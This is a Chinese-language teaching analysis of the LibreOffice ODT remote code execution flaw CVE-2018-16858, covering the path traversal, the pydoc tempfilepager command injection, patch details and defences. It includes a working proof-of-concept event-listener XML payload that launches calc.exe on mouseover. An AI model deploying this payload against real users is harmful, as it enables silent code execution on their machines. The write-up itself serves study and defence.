Libreoffice 远程代码执行漏洞(CVE-2018-16858) 分析
字数 2210 2025-08-29 08:32:00

LibreOffice 远程代码执行漏洞(CVE-2018-16858) 分析教学文档

漏洞概述

CVE-2018-16858 是 LibreOffice 中的一个远程代码执行漏洞,攻击者可以通过精心构造的 ODT 文档在受害者打开文件并执行特定操作(如鼠标悬停)时执行任意代码,且不会弹出任何安全警告。

漏洞影响

  • 影响版本:LibreOffice 6.1.2.1 及之前版本
  • 影响平台:Windows 和 Linux 系统
  • 攻击场景:用户只需打开恶意 ODT 文件并将鼠标移到特定位置
  • 安全限制绕过:无需用户确认,直接执行代码

技术背景

ODT 文件结构

ODT 文件本质上是包含结构化描述文件的 ZIP 压缩包,类似于 DOCX 格式。关键元素包括:

  • office:scripts 元素:用于定义文档中的脚本
  • script:event-listener 元素:定义事件监听器

LibreOffice 脚本支持

LibreOffice 支持多种脚本语言:

  • Basic
  • BeanShell
  • Java
  • JavaScript
  • Python

漏洞原理

正常功能分析

LibreOffice 允许通过以下方式嵌入脚本:

  1. 通过界面插入:Writer → Insert → Hyperlink → 齿轮图标
  2. 选择事件(如 onmouseover
  3. 指定脚本语言和位置

生成的 XML 结构示例:

<script:event-listener 
    script:language="ooo:script" 
    script:event-name="dom:mouseover" 
    xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" 
    xlink:type="simple"/>

其中 xlink:href 指定了:

  • 脚本路径:pythonSamples|TableSample.py
  • 函数名:createTable
  • 语言:Python
  • 位置:share(表示 LibreOffice 安装目录下的共享脚本)

漏洞成因

  1. 路径遍历问题:攻击者可以修改 xlink:href 属性,通过路径遍历技术指向系统任意位置的 Python 脚本

    修改后的恶意示例:

    <script:event-listener 
        script:language="ooo:script" 
        script:event-name="dom:mouseover" 
        xlink:href="vnd.sun.star.script:../../../../TableSample.py$createTable?language=Python&location=share" 
        xlink:type="simple"/>
    
  2. 不安全函数调用:LibreOffice 自带的 Python 脚本中包含危险函数

    关键危险函数位于:
    C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.py

    def tempfilepager(text, cmd):
        """Page through text by invoking a program on a temporary file."""
        import tempfile
        filename = tempfile.mktemp()
        with open(filename, 'w', errors='backslashreplace') as file:
            file.write(text)
        try:
            os.system(cmd + ' "' + filename + '"')
        finally:
            os.unlink(filename)
    

    此函数直接将用户控制的 cmd 参数传递给 os.system(),导致命令注入。

漏洞利用

利用步骤

  1. 构造恶意 ODT 文件,修改 script:event-listener 元素:

    <script:event-listener 
        script:language="ooo:script" 
        script:event-name="dom:mouseover" 
        xlink:href="vnd.sun.star.script:program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1,calc.exe)?language=Python&location=share" 
        xlink:type="simple"/>
    
  2. 当用户鼠标悬停在超链接上时:

    • LibreOffice 会加载 pydoc.py 脚本
    • 调用 tempfilepager 函数
    • 执行 os.system("calc.exe")
    • 弹出计算器(证明代码执行)

利用限制绕过

  1. location 参数尝试

    • location=document:会弹出禁用宏的警告
    • location=user:尝试利用用户目录,但 ODT 文件头限制导致失败
  2. 最终方案

    • 利用 LibreOffice 自带的危险 Python 函数
    • 通过路径遍历定位到系统敏感位置

漏洞修复

官方修复

LibreOffice 官方已发布安全公告:
https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/

修复措施包括:

  1. 限制脚本加载路径
  2. 增加安全警告机制
  3. 审查自带脚本的安全性

临时缓解措施

  1. 升级到最新版本
  2. 禁用 LibreOffice 的脚本支持
  3. 谨慎打开来源不明的 ODT 文件

漏洞报告时间线

  1. 初始通过 bugzilla 上报
  2. 被要求通过邮件发送至 officesecurity@lists.freedesktop.org
  3. 经过重新审查后被确认
  4. 最终修复并发布公告

教学实验

实验环境搭建

  1. 安装易受攻击版本:LibreOffice 6.1.2.1
  2. 准备 Windows 或 Linux 测试环境
  3. 安装 ProcessMonitor(Windows)或 strace(Linux)用于监控

实验步骤

  1. 创建正常 ODT 文件包含脚本事件监听器
  2. 使用压缩工具解压 ODT 文件
  3. 修改 content.xml 中的 script:event-listener 元素
  4. 重新压缩为 ODT 文件
  5. 在监控工具下打开文件并触发事件

实验注意事项

  1. 必须在隔离环境中进行测试
  2. 不要使用真实系统关键路径进行测试
  3. 建议使用虚拟机和快照功能

防御建议

  1. 用户层面

    • 保持 LibreOffice 更新到最新版本
    • 不要打开不可信的 ODT 文件
    • 在沙箱环境中处理可疑文档
  2. 开发者层面

    • 严格验证脚本加载路径
    • 实现安全的脚本执行沙箱
    • 审查所有自带脚本的安全性
    • 对危险函数调用增加警告机制
  3. 企业层面

    • 部署文档安全网关
    • 监控异常 Office 进程行为
    • 制定文档处理安全规范

扩展研究

  1. 研究其他 Office 套件中的类似机制
  2. 分析 ODF 标准中的安全考虑
  3. 探索其他可能被利用的 Python 标准库函数
  4. 研究跨平台利用的差异性

总结

CVE-2018-16858 展示了办公软件中脚本功能可能带来的严重安全风险,特别是在:

  1. 路径验证不严格
  2. 危险函数暴露
  3. 安全警告缺失

这种漏洞可以被用于针对性攻击,且隐蔽性高。防御需要多层次的安全措施,从软件本身的安全设计到用户的安全意识都至关重要。

LibreOffice 远程代码执行漏洞(CVE-2018-16858) 分析教学文档 漏洞概述 CVE-2018-16858 是 LibreOffice 中的一个远程代码执行漏洞,攻击者可以通过精心构造的 ODT 文档在受害者打开文件并执行特定操作(如鼠标悬停)时执行任意代码,且不会弹出任何安全警告。 漏洞影响 影响版本 :LibreOffice 6.1.2.1 及之前版本 影响平台 :Windows 和 Linux 系统 攻击场景 :用户只需打开恶意 ODT 文件并将鼠标移到特定位置 安全限制绕过 :无需用户确认,直接执行代码 技术背景 ODT 文件结构 ODT 文件本质上是包含结构化描述文件的 ZIP 压缩包,类似于 DOCX 格式。关键元素包括: office:scripts 元素:用于定义文档中的脚本 script:event-listener 元素:定义事件监听器 LibreOffice 脚本支持 LibreOffice 支持多种脚本语言: Basic BeanShell Java JavaScript Python 漏洞原理 正常功能分析 LibreOffice 允许通过以下方式嵌入脚本: 通过界面插入:Writer → Insert → Hyperlink → 齿轮图标 选择事件(如 onmouseover ) 指定脚本语言和位置 生成的 XML 结构示例: 其中 xlink:href 指定了: 脚本路径: pythonSamples|TableSample.py 函数名: createTable 语言:Python 位置: share (表示 LibreOffice 安装目录下的共享脚本) 漏洞成因 路径遍历问题 :攻击者可以修改 xlink:href 属性,通过路径遍历技术指向系统任意位置的 Python 脚本 修改后的恶意示例: 不安全函数调用 :LibreOffice 自带的 Python 脚本中包含危险函数 关键危险函数位于: C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.py 此函数直接将用户控制的 cmd 参数传递给 os.system() ,导致命令注入。 漏洞利用 利用步骤 构造恶意 ODT 文件,修改 script:event-listener 元素: 当用户鼠标悬停在超链接上时: LibreOffice 会加载 pydoc.py 脚本 调用 tempfilepager 函数 执行 os.system("calc.exe") 弹出计算器(证明代码执行) 利用限制绕过 location 参数尝试 : location=document :会弹出禁用宏的警告 location=user :尝试利用用户目录,但 ODT 文件头限制导致失败 最终方案 : 利用 LibreOffice 自带的危险 Python 函数 通过路径遍历定位到系统敏感位置 漏洞修复 官方修复 LibreOffice 官方已发布安全公告: https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/ 修复措施包括: 限制脚本加载路径 增加安全警告机制 审查自带脚本的安全性 临时缓解措施 升级到最新版本 禁用 LibreOffice 的脚本支持 谨慎打开来源不明的 ODT 文件 漏洞报告时间线 初始通过 bugzilla 上报 被要求通过邮件发送至 officesecurity@lists.freedesktop.org 经过重新审查后被确认 最终修复并发布公告 教学实验 实验环境搭建 安装易受攻击版本:LibreOffice 6.1.2.1 准备 Windows 或 Linux 测试环境 安装 ProcessMonitor(Windows)或 strace(Linux)用于监控 实验步骤 创建正常 ODT 文件包含脚本事件监听器 使用压缩工具解压 ODT 文件 修改 content.xml 中的 script:event-listener 元素 重新压缩为 ODT 文件 在监控工具下打开文件并触发事件 实验注意事项 必须在隔离环境中进行测试 不要使用真实系统关键路径进行测试 建议使用虚拟机和快照功能 防御建议 用户层面 : 保持 LibreOffice 更新到最新版本 不要打开不可信的 ODT 文件 在沙箱环境中处理可疑文档 开发者层面 : 严格验证脚本加载路径 实现安全的脚本执行沙箱 审查所有自带脚本的安全性 对危险函数调用增加警告机制 企业层面 : 部署文档安全网关 监控异常 Office 进程行为 制定文档处理安全规范 扩展研究 研究其他 Office 套件中的类似机制 分析 ODF 标准中的安全考虑 探索其他可能被利用的 Python 标准库函数 研究跨平台利用的差异性 总结 CVE-2018-16858 展示了办公软件中脚本功能可能带来的严重安全风险,特别是在: 路径验证不严格 危险函数暴露 安全警告缺失 这种漏洞可以被用于针对性攻击,且隐蔽性高。防御需要多层次的安全措施,从软件本身的安全设计到用户的安全意识都至关重要。